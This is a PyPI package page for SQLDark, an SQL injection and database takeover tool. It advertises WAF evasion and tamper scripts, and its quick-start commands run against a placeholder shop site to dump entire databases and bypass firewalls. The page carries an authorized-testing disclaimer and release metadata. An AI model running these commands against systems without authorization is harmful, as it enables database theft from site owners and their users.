SQLDark
Advanced SQL injection & database takeover framework
A fast, modular, terminal-only alternative to sqlmap — built for Termux & Linux.
sdark.gt.tc · PyPI · GitHub
Why SQLDark
- Every injection family: error-based, boolean-blind, UNION, time-blind, and stacked queries.
- Three extraction engines: UNION oracle (fast), error-based leak (MySQL / MSSQL / PostgreSQL / Oracle), and character-by-character boolean-blind with per-DBMS primitives.
- 16 database engines recognised, with a payload library of 8,900+ vectors split per DBMS / technique / boundary.
- WAF-aware: 100+ WAF/IPS signatures (incl. PHPIDS) and automatic tamper-chain selection to get through them.
- 41 tamper scripts for evasion, chainable in any order.
- Sessions ("sezon"): save a scan, resume it later, or delete it.
- Database export: dump one table or the whole database and archive it to a zip named after the site.
- Terminal only. No GUI, no TUI. Just the command line.
Install
pip install sqldark
From source:
git clone https://github.com/<user>/sqldark
cd sqldark && pip install -e .
Quick start
# Detect everything on a parameter
sqldark -u "https://shop.example/product?id=1"
# Fingerprint + dump the whole database, save a session, export to zip
sqldark -u "https://shop.example/product?id=1" --banner --current-db --dump-all --session shop --export
# No parameter? SQLDark crawls the site and finds one
sqldark -u "https://shop.example/"
# Get through a WAF automatically
sqldark -u "https://shop.example/item?id=1" --auto-tamper --level 3
# Pick your own tamper chain
sqldark -u "https://shop.example/item?id=1" --tamper space2comment,randomcase,charencode
Command groups
| Group | Options |
|---|---|
| Target | -u/--url, --data, -m/--method |
| Request | --cookie, -H/--header, --proxy, --timeout, --delay, --random-delay, --random-agent, --csrf-url, --csrf-token |
| Detection | --technique E,B,U,T,S, --level 1-5, --risk 1-3, --skip-waf |
| Evasion | --tamper, --auto-tamper, --list-tampers |
| Enumeration | --banner, --current-db, --tables, --columns, --dump, --dump-all, -D, -T, --max-rows |
| Session | --session, --list-sessions, --delete-session, --export |
Run sqldark --help for the full, described list.
Sessions & export
sqldark -u "https://shop.example/item?id=1" --dump-all --session shop --export
sqldark --list-sessions
sqldark --delete-session shop
Exports land in ./.sqldark/database/<host>/<name>.zip — one CSV per table (original names kept) plus a manifest.json.
Legal
SQLDark is for authorized security testing and education only. Use it only against systems you own or have explicit written permission to test. You are responsible for how you use it.
License
MIT © Muhammed Balin
Metadata
Release files for sqldark 0.1.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| sqldark-0.1.1.tar.gz | 432.8 kB | Without provenance | Details for sqldark-0.1.1.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| sqldark-0.1.1-py3-none-any.whl | Python 3 | none | any | Details for sqldark-0.1.1-py3-none-any.whl |
Total release size: 3.7 MB
Release files / sqldark-0.1.1.tar.gz
| Download URL | sqldark-0.1.1.tar.gz |
|---|---|
| Size | 432.8 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
195f7985b4a923c761061f67ae64d52890ba2803437a9d97e74aaa9db46462a3
|
|
BLAKE2b-256 checksum How to use checksums |
d03dda8c29d95cf01e4bf7cf3ee4e1562a325e290dd41509b5f19d5a81ad4042
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.12.15
|
Release files / sqldark-0.1.1-py3-none-any.whl
| Download URL | sqldark-0.1.1-py3-none-any.whl |
|---|---|
| Size | 3.3 MB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
91df5888593be00116cd75f8f073fcb085069fc379be21dbef4f1615cb830ed5
|
|
BLAKE2b-256 checksum How to use checksums |
5f68fc66e9ccb7f198557059d732a22f3c755f19d0a6f02cb06df103a26c918d
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.12.15
|
Security for sqldark 0.1.1
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.